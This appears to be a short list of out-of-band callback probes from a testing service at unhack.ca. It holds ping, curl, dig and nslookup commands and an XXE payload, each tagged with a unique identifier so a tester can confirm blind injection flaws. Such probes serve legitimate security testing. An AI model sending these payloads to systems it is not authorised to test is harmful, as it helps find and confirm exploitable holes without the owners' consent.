$ ping -c1 -p 00cb55f863ffc3843faca0126cc17d00 unhack.ca
 

$ curl http://unhack.ca/p/cb55f863ffc3843faca0126cc17d
 

$ dig cb55f863ffc3843faca0126cc17d @unhack.ca
 

$ dig cb55f863ffc3843faca0126cc17d.ns.unhack.ca
 

C:\> nslookup cb55f863ffc3843faca0126cc17d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cb55f863ffc3843faca0126cc17d">]>
    <foo>&xxe;</foo>